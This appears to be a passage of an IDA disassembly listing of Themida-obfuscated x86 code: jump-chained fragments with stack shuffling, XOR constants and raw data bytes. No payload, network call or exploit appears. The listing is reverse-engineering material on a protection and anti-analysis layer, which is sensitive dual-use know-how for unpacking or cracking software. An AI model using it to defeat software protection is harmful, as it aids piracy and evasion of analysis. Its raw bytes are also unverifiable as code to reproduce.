		dd 195D25Dh, 48BC301h, 4C48124h, 8F000000h, 16F5E900h
		dd 0F500FFFFh, 0A268665Ah, 30AE902h, 0E5890000h, 4C581h
		dd 0ED810000h, 4, 5C242C87h, 5C6BE9h, 14EA8100h, 8B2E3F07h
		dd 9E9240Ch
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F2EB:				; CODE XREF: Themida_:0055513Fj
		sub	ebp, 25CD73E1h
		add	ebp, 1
		jmp	loc_55873C
; ---------------------------------------------------------------------------
		db 5, 43h, 4Ch
		dd 0E80169CDh, 0CD4C432Dh, 0C0835D69h, 24048704h, 243C8B5Ch
		dd 4C481h, 0BB530000h, 766C7284h, 0ABE9D3F7h, 0BBFFFFC2h
		dd 13094AD9h, 4030F381h, 515215D1h, 7CFEB9h, 0BAE6BA28h
		dd 0CA2988C6h, 0BC6FE959h, 0C481FFFFh, 4, 4D2CE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F34E:				; CODE XREF: Themida_:00558141j
		push	edi
		jmp	loc_561253
; ---------------------------------------------------------------------------
		dd 1C78147h, 0E9000000h, 0C85h
; ---------------------------------------------------------------------------


loc_55F360:				; CODE XREF: Themida_:0055432Cj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_553F45
; ---------------------------------------------------------------------------
		dw 8147h
		dd 98FD7EEFh, 1AAFE904h, 0EC81FFFFh, 4,	0FFA56EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F385:				; CODE XREF: Themida_:0055E260j
		xor	edi, 37623681h
		add	edi, 54A07CDEh
		xor	edi, 0BAEFA320h
		sub	ebx, edi
		pop	edi
		xor	eax, ebx
		pop	ebx
		xor	edx, eax
		jmp	loc_56262C
; ---------------------------------------------------------------------------


loc_55F3A4:				; CODE XREF: Themida_:005648E2j
		xor	dl, 2Dh
		mov	ch, dl
		pop	edx
		dec	ch
		push	cx
		jmp	loc_55691C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E0C106E8h, 0CE543505h, 0EC837948h, 24048904h, 0DF242C81h
		dd 5A34D86Ch, 6CDFC281h, 2D5834D8h, 0BAC1708h, 805D029h
		dd 5A0BAC17h, 5A9A685Bh, 34890000h, 584D6824h, 0E95E4BBDh
		dd 4E79h, 1E6D4ABAh, 81DAF720h,	5927A4CAh, 0BEA8106h, 0E93C026Ah
		dd 0FFFF7476h, 468h, 0BD555800h, 5A18148Dh, 74E9EF01h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F41F:				; CODE XREF: Themida_:0055A81Fj
		add	esp, 4
		jmp	loc_55B45A
; ---------------------------------------------------------------------------
		db 30h
		dd 0FC885AD7h, 0E9241C8Bh, 0FFFF31D5h, 2C04C483h, 0D0D0E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F43E:				; CODE XREF: Themida_:0055130Bj
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5554B4
; ---------------------------------------------------------------------------
		db 5Fh,	5, 4
		dd 87000000h, 248B2404h, 9CC83B24h, 0FF1552E9h,	285866FFh
		dd 0F4E95AD4h, 83FFFFF9h, 1E904C4h, 0BA00003Ch,	0FFFFFFFFh
		dd 0D5AD001h, 15BE6A50h, 0FFA12FE9h, 24048FFFh,	0FF24248Bh
		dd 68582434h, 66AEh, 54243489h,	8124348Bh, 4C4h, 4BD5500h
		dd 81000000h, 932C4C6h,	56E7E917h, 4F68FFFFh, 0E900000Fh
		dd 0FFFFF5A1h, 4B850h, 44010000h, 0FF580424h, 34FF2434h
		dd 30E95824h, 81FFFF20h, 610A6CC3h, 10F3811Fh, 814FCF35h
		dd 0FFFFFFEBh, 685657FFh, 64D96064h, 0F0F6815Eh, 0C151DF45h
		dd 93E904E6h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F4F7:				; CODE XREF: Themida_:0055F962j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_552F9F
; ---------------------------------------------------------------------------


loc_55F504:				; CODE XREF: Themida_:0056090Bj
		sub	esp, 4
		mov	[esp], esi
		push	7F87h
		mov	[esp], ebx
		jmp	loc_55FD96
; ---------------------------------------------------------------------------
		dw 1468h
		dd 8B447171h, 0C481241Ch, 4, 0C7AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F52D:				; CODE XREF: Themida_:00553F31j
		xchg	ebx, [esp]
		jmp	loc_55A069
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0EBh
		dd 6A223901h, 9FEB8143h, 17C818Eh, 9F10E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F54A:				; CODE XREF: Themida_:0055551Cj
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 1C790920h
		jmp	loc_55C731
; ---------------------------------------------------------------------------
		dd 4C381h, 62E90000h, 81FFFF7Ah, 0D037C3EAh, 56DA0100h
		dd 0D037C3BEh, 5EF20100h, 0FF2364E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F589:				; CODE XREF: Themida_:005635D3j
		push	esi
		jmp	loc_56505F
; ---------------------------------------------------------------------------


loc_55F58F:				; CODE XREF: Themida_:00564B29j
		add	ebx, 54124D55h
		jmp	loc_559822
; ---------------------------------------------------------------------------
		dw 0C159h
		dd 0E9C108E1h, 2AE18108h, 8101047Bh, 16DD4CC1h,	16A8E960h
		dd 0C483FFFFh, 0D0E95004h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F5BB:				; CODE XREF: Themida_:00551636j
		mov	eax, 249760FEh
		add	edi, eax
		pop	eax
		pop	ebp
		sub	edi, 4
		push	edi
		jmp	loc_55FB48
; ---------------------------------------------------------------------------
		dd 241C8966h, 0FD202CB7h, 0DDF65B66h, 8816C580h, 4405E9EEh
		dd 814BFFFFh, 0AB6304F3h, 5BDE0127h, 8B2434FFh,	0C481241Ch
		dd 4, 81E78957h, 4C7h, 4C78100h, 0E9000000h, 0FFFFB558h
; ---------------------------------------------------------------------------


loc_55F610:				; CODE XREF: Themida_:0055C6E7j
		mov	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		neg	eax
		jmp	loc_551A21
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 6804C483h, 311Ah, 0FF243489h, 5E042474h, 8B24048Fh
		dd 39E92424h, 81FFFF21h, 0A95F71F2h, 5AD02918h,	39D52D5Ah
		dd 0D801631Dh, 726168h,	240C8900h, 5E4BE9h, 24048700h
		dd 5854505Ch, 405h, 4EC8300h, 0BB241C89h, 4, 0FF934CE9h
		dd 24048FFFh, 0FF24248Bh, 535A2434h, 0C0685B54h, 89000013h
		dd 0E9512434h, 0FFFF7A99h, 5FFD895Fh, 13BEEE81h, 0C6814DDEh
		dd 262C43BBh, 0B850EE01h, 34B5714Ah, 904EE235h,	0C051E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F6BE:				; CODE XREF: Themida_:0056060Aj
		and	ecx, eax
		pop	eax
		jmp	loc_5620CF
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFE8DBh
; ---------------------------------------------------------------------------


loc_55F6CC:				; CODE XREF: Themida_:0055A090j
		push	ebx
		jmp	loc_562839
; ---------------------------------------------------------------------------
		dw 0D731h
		dd 0FF980AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F6D9:				; CODE XREF: Themida_:005656B5j
		push	15D34F8h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55C6EC
; ---------------------------------------------------------------------------


loc_55F6EC:				; CODE XREF: Themida_:005565D7j
		push	esi
		jmp	loc_555011
; ---------------------------------------------------------------------------


loc_55F6F2:				; CODE XREF: Themida_:00552CF3j
		inc	edi
		and	edi, 6FD855C5h
		push	edx
		mov	edx, 6D5D7BC7h
		jmp	loc_55F124
; ---------------------------------------------------------------------------
		dd 1489665Ch, 0DD885124h, 0FFE9EE88h, 1000062h,	0D3C681DEh
		dd 8B57976Ch, 0C483241Ch, 4C68104h, 0E9000000h,	0FFFF7C33h
		dd 0C50001B0h, 1613E9h,	8BDF8900h, 0C481241Ch, 4, 0E9DF2958h
		dd 5624h
; ---------------------------------------------------------------------------


loc_55F748:				; CODE XREF: Themida_:0055B8E1j
		add	ebp, 0E36491Bh
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_55862D
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	25E7E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5639BC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 87000000h, 9EE9240Ch, 66FFFF89h, 0E9AEB151h
		dd 0FFFFA3ABh, 6865F2BDh, 0AE7CE912h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F7A6:				; CODE XREF: Themida_:0055FCEDj
		push	esi
		jmp	loc_55E11C
; ---------------------------------------------------------------------------
		dd 0BA241489h, 0
		dd 0FF5353E9h, 6CB551FFh, 4EC81h, 14890000h, 802CB224h
		dd 0EC8157CAh, 4, 0B5240C89h, 79ED8058h, 0F659EA00h, 7FA5E9D2h
		dd 0E789FFFFh, 4C781h, 0C7830000h, 243C8704h, 4D83E9h
		dd 74FF5100h, 0C8B0424h, 715C6824h, 42E90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F807:				; CODE XREF: Themida_:00551E11j
		mov	ch, ah
		mov	dh, ch
		pop	ecx
		jmp	loc_556E6B
; ---------------------------------------------------------------------------


loc_55F811:				; CODE XREF: Themida_:005616D1j
		and	esi, 1D713B58h
		shl	esi, 7
		and	esi, 23020D21h
		xor	esi, 310835BCh
		add	edx, esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4


loc_55F83A:				; CODE XREF: Themida_:005533D4j
					; Themida_:00563D69j
		push	1F21h
		jmp	loc_5559EF
; ---------------------------------------------------------------------------
		dd 232768h, 24048B02h, 4C481h, 68570000h, 3966271Ah, 0FF8406E9h
		dd 74685CFFh, 8900005Ch, 0AFE9241Ch, 0BFFFFFFCh, 4, 835FF901h
		dd 0C3304C1h, 240C3124h, 8B240C33h, 36E92424h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F887:				; CODE XREF: Themida_:00558D4Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		jmp	loc_558506
; ---------------------------------------------------------------------------


loc_55F89B:				; CODE XREF: Themida_:00559ACFj
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5546C1
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 565BDA01h, 0DC6ACFBEh, 6DBB534Bh, 311F5D3Fh,	0CE95BDEh
		dd 81FFFF94h, 0BE1A8FC5h, 5DEB01C5h, 570DB850h,	48E91FD3h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F8E7:				; CODE XREF: Themida_:0055DE86j
		add	edi, 287C7762h
		shl	edi, 4
		or	edi, 649E537Ch
		sub	edi, 0FFFFFFFFh
		jmp	loc_551EEC
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 253CE95Eh, 815AFFFFh, 4C2h, 4C28300h, 31241433h, 14332414h
		dd 0AAE95C24h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F91F:				; CODE XREF: Themida_:0055639Fj
		pop	ebx
		shl	cl, 6
		jmp	loc_5537CD
; ---------------------------------------------------------------------------
		dd 33241431h, 7AE92414h, 80FFFF16h, 8B66C2C1h, 0C481241Ch
		dd 2, 1D2CA22Ch, 1D04C800h, 34FFA204h, 0F0E1E924h, 0D105FFFFh
		dd 0E93C5E2Fh, 0FFFF8824h
; ---------------------------------------------------------------------------


loc_55F95C:				; CODE XREF: Themida_:0055803Bj
		rep movsd
		add	esp, [edx+38h]
		push	ecx
		jmp	loc_55F4F7
; ---------------------------------------------------------------------------
		db 28h
		dd 0F0005BF8h, 0FF5800E9h, 4BAFFh, 0D0290000h, 8324148Bh
		dd 27E904C4h, 31FFFF48h, 240C8BCEh, 0FFFD39E9h,	0FCE95EFFh
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F993:				; CODE XREF: Themida_:0055E9ACj
		push	esi
		mov	esi, 174D136Eh
		jmp	loc_561489
; ---------------------------------------------------------------------------
		dw 0D529h
		dd 93ED815Ah, 297FCE22h, 93C581FDh, 507FCE22h, 0FFD821E9h
		dd 9D055CFFh, 290AE113h, 65B951D0h, 494C7A6Dh, 6324E181h
		dd 8141721Bh, 394D88E9h, 8BC82935h, 0C481240Ch,	4, 5A2434FFh
		dd 0C8B5451h, 0E9545024h, 0ADFh, 68E38953h, 2106h, 0BD242C89h
		dd 4, 2FC8E9h, 4C48300h, 67016856h, 14890000h, 2B856824h
		dd 148B446Bh, 8BA2E924h, 2958FFFFh, 51C781EFh, 5D7AE575h
		dd 0FFAAB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FA29:				; CODE XREF: Themida_:0055C098j
		mov	ebp, 1E9F4828h
		mov	edx, ebp
		pop	ebp
		xor	edx, 3B7F774Dh
		xor	edx, 402B6FA9h
		push	esi
		jmp	loc_55DA10
; ---------------------------------------------------------------------------


loc_55FA43:				; CODE XREF: Themida_:00558516j
		pop	esp
		push	edi
		push	esp
		jmp	loc_55A270
; ---------------------------------------------------------------------------


loc_55FA4B:				; CODE XREF: Themida_:00559CFEj
		sub	ebp, 0FB7FF9CCh
		mov	eax, ebp
		jmp	loc_560F17
; ---------------------------------------------------------------------------
		dd 0C8BCB29h, 4C48124h,	68000000h, 724Dh, 0BD242C89h, 6E0D0118h
		dd 79C6E957h, 0BB53FFFFh, 4, 0C6E9DA01h, 5B000006h, 8104E6C1h
		dd 0F157C4F6h, 0EE8156h, 1332A76h, 24348BF3h, 4C481h, 0BE560000h
		dd 4, 875EF329h, 895C241Ch, 0E4B62414h,	6866CEFEh, 89663E28h
		dd 30E9240Ch, 45000004h, 3E5C145h, 0FF3EA4E9h, 24248BFFh
		dd 0E9240C87h, 0FFFF0EDBh, 0B850DBF7h, 28B43F3Ch, 0E958C301h
		dd 0FFFF5B4Dh, 8359CA01h, 148704EAh, 2770E924h,	48FFFFFh
		dd 24248B24h, 0FFD090E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FAFD:				; CODE XREF: Themida_:00551AC1j
		mov	eax, [esp]
		jmp	loc_556F28
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 2714h
		dd 4C4815Fh, 89000000h,	0C288E9C8h, 0E959FFFFh,	2A92h
		dd 0E958E230h, 1DF5h
; ---------------------------------------------------------------------------


loc_55FB3C:				; CODE XREF: Themida_:0055AC74j
		add	esp, 4
		push	edx
		jmp	loc_562971
; ---------------------------------------------------------------------------


loc_55FB48:				; CODE XREF: Themida_:0055F5CBj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55C3B4
; ---------------------------------------------------------------------------
		dd 6EEB815Dh, 151C310h,	6EC381C3h, 5851C310h, 2474FF53h
		dd 48F5B04h, 24248B24h,	0FFD53FE9h, 240489FFh, 0DD722AB8h
		dd 58C32976h, 1C8BD801h, 4C48124h, 29000000h, 43B02DF8h
		dd 0CDE93895h, 89FFFF29h, 0DEE92404h, 66FFFF67h, 6624048Fh
		dd 660BC068h, 66243489h, 66242C87h, 0BD72E955h,	0E589FFFFh
		dd 4C581h, 0C5810000h, 4, 5C242C87h, 28D7E9h, 24248900h
		dd 4240481h, 5D000000h,	125968h, 0C6AE900h, 4BA0000h, 29000000h
		dd 34875AD6h, 0C895C24h, 81595424h, 4C1h, 82FDE900h, 489FFFFh
		dd 56E08924h, 4BEh, 6B5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FC12:				; CODE XREF: Themida_:0056494Bj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_555AAF
; ---------------------------------------------------------------------------


loc_55FC2C:				; CODE XREF: Themida_:0055D302j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5561D3
; ---------------------------------------------------------------------------
		db 89h
		dd 2B68241Ch, 89000055h, 4832424h, 34FF0424h, 89535B24h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 769E685Ch, 4890000h
		dd 23EEE924h, 0E8010000h, 0F41FBC2Dh, 0C0835D6Dh, 24048702h
		dd 6624248Bh, 0A5BA6652h, 0B1ACE9F1h, 1C89FFFFh, 1C8B5424h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 4C3815Ch
		dd 57000000h, 2BFh, 73EB8100h, 0E95ADF26h, 0FFFF2D3Fh
; ---------------------------------------------------------------------------


loc_55FCC0:				; CODE XREF: Themida_:0055C738j
		push	esi
		jmp	loc_560701
; ---------------------------------------------------------------------------


loc_55FCC6:				; CODE XREF: Themida_:00562BF3j
		add	esi, edi
		pop	edi
		push	esi
		jmp	loc_56146A
; ---------------------------------------------------------------------------


loc_55FCCF:				; CODE XREF: Themida_:00551456j
		xor	ax, 0E1BEh
		add	ax, 3CC0h
		push	si
		mov	si, 1
		sub	ax, si
		mov	si, [esp]
		add	esp, 2
		shr	ax, 1
		jmp	loc_55F7A6
; ---------------------------------------------------------------------------
		dw 0D6F6h
		dd 68FFC680h, 6DB2h, 0E9241C89h, 0FFFF764Ah, 0B951E289h
		dd 4, 3F65E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FD11:				; CODE XREF: Themida_:00558B1Aj
		mov	ch, 9Bh
		inc	ch
		or	ch, 6Ch
		not	ch
		or	ch, 0B9h
		jmp	loc_552640
; ---------------------------------------------------------------------------
		dw 4259h
		dd 0FB48C281h, 0C381A3FFh, 306146C5h, 4188E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FD35:				; CODE XREF: Themida_:00556931j
		and	dh, bl
		jmp	loc_564997
; ---------------------------------------------------------------------------
		dd 2F2AC281h, 34FF0DA1h, 240C8B24h, 4C481h, 0C4810000h
		dd 4, 3302C283h, 0E7E92414h, 68FFFF25h,	0BC65836Eh, 5724048Bh
		dd 0C781E789h, 4, 0FF1E35E9h, 24248BFFh, 305E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FD7D:				; CODE XREF: Themida_:005515E7j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_565CE6
; ---------------------------------------------------------------------------


loc_55FD8B:				; CODE XREF: Themida_:00555C12j
		add	edx, 4
		jmp	loc_5570E1
; ---------------------------------------------------------------------------


loc_55FD96:				; CODE XREF: Themida_:0055F515j
		push	ebp
		mov	ebp, 91D10A0h
		push	esi
		mov	esi, ebp
		jmp	loc_5592DE
; ---------------------------------------------------------------------------
		dd 4C481h, 89520000h, 4C281E2h,	56000000h, 4BEh, 92CBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FDBE:				; CODE XREF: Themida_:00561B7Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	398Dh
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		not	esi
		push	17A5h
		jmp	loc_559F56
; ---------------------------------------------------------------------------
		dd 2434FF5Ah, 0E9241C8Bh, 0FFFF3D87h
; ---------------------------------------------------------------------------


loc_55FDF8:				; CODE XREF: Themida_:005653C6j
		inc	ebp
		or	ebp, 29F7158h
		jmp	loc_56345C
; ---------------------------------------------------------------------------


loc_55FE04:				; CODE XREF: Themida_:005572E6j
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 8272D032h
		xor	eax, edi
		pop	edi
		add	edx, eax
		pop	eax
		mov	eax, edx
		pop	edx
		jmp	loc_555772
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF1DE8E9h, 5FE958FFh
		db 52h,	2 dup(0FFh)
byte_55FE2F	db 66h			; DATA XREF: Themida_:0055070Co
		dd 68240C8Bh, 6275h, 0FF60E0E9h, 66D400FFh, 45C4805Ah
		dd 60B65266h, 0D5E9F420h, 56FFFF78h, 1142D0BEh,	4C05052Bh
		dd 0F0292D97h, 974C052Dh, 24348B2Dh, 734468h, 240C8900h
		dd 0C181E189h, 4, 4C181h, 0C870000h, 0D8015C24h, 0FF1C4FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FE85:				; CODE XREF: Themida_:00559DE7j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_55ED40
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 798BB97Ch, 0FF8356E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FEA1:				; CODE XREF: Themida_:00555E2Fj
		sub	ebp, eax
		jmp	loc_553DD6
; ---------------------------------------------------------------------------
aHuf		db '\hНF',0
		align 2
		dw 3C89h
		dd 0B1BE5624h, 8172AE4Eh, 124155CEh, 81D6F72Eh,	0BE4FFAC6h
		dd 481567Eh, 6757EE24h,	0EF815F61h, 616757EEh, 1F8EE9h
		dd 81E38900h, 4C3h, 8BA4E900h
		db 2 dup(0FFh)
word_55FEE6	dw 8B66h		; DATA XREF: Themida_:005507DCo
		dd 0BE9240Ch, 50FFFF84h, 0E4C039B4h, 0ECC48002h, 2058E188h
		dd 0C8B66CEh, 5E06E924h, 0E7B9FFFFh, 81219131h,	528ECC9h
		dd 4EC8368h, 0BB241C89h, 754F3F22h, 11CB8143h, 0E930954Eh
		dd 0FFFF2B2Ah, 9758C721h, 49F4E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FF32:				; CODE XREF: Themida_:00559E9Aj
		pop	ebx
		jmp	loc_5573C2
; ---------------------------------------------------------------------------
		dd 2404D35Ch, 0A6DE99Ch, 487FFFFh, 0BE95C24h, 56FFFF25h
		dd 0FF824AE9h, 4EC81FFh, 89000000h, 0E2682404h,	0E900003Fh
		dd 2D45h, 0FE73B753h, 0C0DFF6C7h, 0F78004EFh, 5BFE0073h
		dd 2EC81h, 9DE90000h, 31FFFF50h, 97E9243Ch, 8BFFFF82h
		dd 98E92434h, 3000001Fh, 241C8BD8h, 88BE9h, 0F7525800h
		dd 835A2414h, 0E1E901EAh, 29000037h, 4B951FAh, 0E972D339h
		dd 0FFFF8499h
; ---------------------------------------------------------------------------


loc_55FFB4:				; CODE XREF: Themida_:00550B10j
		mov	ebx, 1EDD1F9Eh
		jmp	loc_563866
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0F3BB5304h, 51620271h, 2C2BE9h, 58E30000h, 835BDD20h
		dd 148904ECh, 0D806E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FFDE:				; CODE XREF: Themida_:00556B61j
		push	eax
		push	esp
		jmp	loc_55A940
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 9Bh
		dd 81539335h, 1C2h, 6DEA8100h, 811BA142h, 1E3181E2h, 2DCA812Bh
		dd 8109AC4Fh, 5035AF2h,	8BD70120h, 0C4832414h, 9586E904h
		dd 0F781FFFFh, 63D323BBh, 0F75FFE09h, 518868DEh, 4AE90000h
		dd 81FFFFA3h, 0CDE55EC5h, 0E95653E3h, 0FFFF8BF9h, 31242C33h
		dd 2C33242Ch, 24248B24h, 0FF2434FFh, 51592434h,	0C181E189h
		dd 4, 8704E983h, 895C240Ch, 98E92434h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560063:				; CODE XREF: Themida_:0056146Bj
		pop	esi
		push	edi
		mov	edi, 621752C2h
		or	ebx, edi
		pop	edi
		jmp	loc_558392
; ---------------------------------------------------------------------------


loc_560072:				; CODE XREF: Themida_:00557ACFj
		not	esi
		or	esi, 31317997h
		shl	esi, 6
		jmp	loc_55D8F3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8A682404h, 0E900004Fh, 0FFFFBCB6h, 61B968h, 241C8900h
		dd 0FA88C788h, 5AD3885Bh, 240C8B58h, 4C483h, 1C8B66D8h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], dx
		push	ebx
		mov	bl, 25h
		push	ecx
		mov	ch, bl
		mov	dl, ch
		pop	ecx
		pop	ebx
		xor	al, dl
		mov	dx, [esp]
		push	ebp
		push	esp
		push	dword ptr [esp]
		jmp	loc_557797
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0B1h
		dd 25FFFF7Dh, 7D363761h, 16053D2Dh, 0B3CE911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5600F6:				; CODE XREF: Themida_:00563706j
		dec	esi
		and	esi, 2FED3535h
		sub	esi, 9651130h
		add	ecx, esi
		pop	esi
		jmp	loc_55612D
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0FFC780A5h, 4FBC780h, 0CC2C4Dh, 2CCC04F8h, 241C8B4Dh
		dd 4C481h, 0C8E90000h, 8FFFFFCDh, 248B2404h, 24043124h
		dd 0FF0876E9h
		db 0FFh
byte_560139	db 0ACh, 0E9h, 0E0h	; DATA XREF: Themida_:00550754o
		dd 29FFFFC0h, 5759240Ch, 0FF2179E9h, 14335BFFh,	3615E924h
		dd 0C7810000h, 4, 4C781h, 0FF570000h, 5F042474h, 5C24048Fh
		dd 2343B850h, 0E95708BFh, 0FFFF1C29h, 5F04C483h, 0E904EC83h
		dd 0FFFFA709h, 24048F5Ah, 0FF84C4E9h, 821E9FFh
		db 2 dup(0FFh)
word_56018E	dw 34FFh		; DATA XREF: Themida_:0055071Co
aSs_0		db '$И≥>',0
		align 2
		dw 0ED81h
		dd 3D9D347Fh, 262DC581h, 11E94FC0h, 81FFFF41h, 0FC496FF3h
		dd 84BE5631h, 0D11FB018h, 0BDC681EEh, 29F027F3h, 0BF575EF3h
		dd 4E8C4C9Dh, 2C50EF81h, 0EF833710h, 1C781FFh, 81000000h
		dd 0CE718BC7h, 0CEF8148h, 11D3627h, 89525FFBh, 4C281E2h
		dd 50000000h, 4B8h, 58C22900h, 5C241487h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_554798
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 3C88E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56021E:				; CODE XREF: Themida_:00552D13j
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		dd 53C8FE5Ah, 0B2E989B7h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56023B:				; CODE XREF: Themida_:00562551j
		xor	edx, ebx
		xor	ebx, edx
		sub	esp, 4
		mov	[esp], ebx
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_553B28
; ---------------------------------------------------------------------------


loc_560263:				; CODE XREF: Themida_:00564401j
		add	esp, 4
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_551274
; ---------------------------------------------------------------------------


loc_560277:				; CODE XREF: Themida_:0055487Fj
		mov	ecx, 0E01A18F3h
		add	edi, ecx
		pop	ecx
		mov	eax, edi
		pop	edi
		inc	eax
		sub	eax, 32E1D72h
		add	ecx, eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_55992F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 41E9242Ch, 83000013h, 0DDF704C4h, 0C344F581h, 28E991CAh
		dd 51FFFFF6h, 0FFC09EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5602B1:				; CODE XREF: Themida_:00555304j
		xor	bh, 0F2h
		or	al, bh
		pop	ebx
		jmp	loc_55F297
; ---------------------------------------------------------------------------


loc_5602BC:				; CODE XREF: Themida_:0055D623j
		xor	edi, 69B2602Bh
		jmp	loc_558FC0
; ---------------------------------------------------------------------------
		db 1
		dd 0EC835EF0h, 241C8904h, 4BBh,	5BD80100h, 5C240487h, 3302C083h
		dd 4312404h, 24043324h,	0ECAE95Ch, 0ED830000h, 0E0F4E9FFh
		dd 5D53FFFFh, 4012BB5Bh, 0EB2912E0h, 57242C8Bh,	47E95F54h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56030B:				; CODE XREF: Themida_:005544B0j
		mov	esi, ebx
		pop	ebx
		add	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_558A3E
; ---------------------------------------------------------------------------


loc_56031F:				; CODE XREF: Themida_:0056356Dj
		push	eax
		push	ecx
		mov	ecx, 55D5368Fh
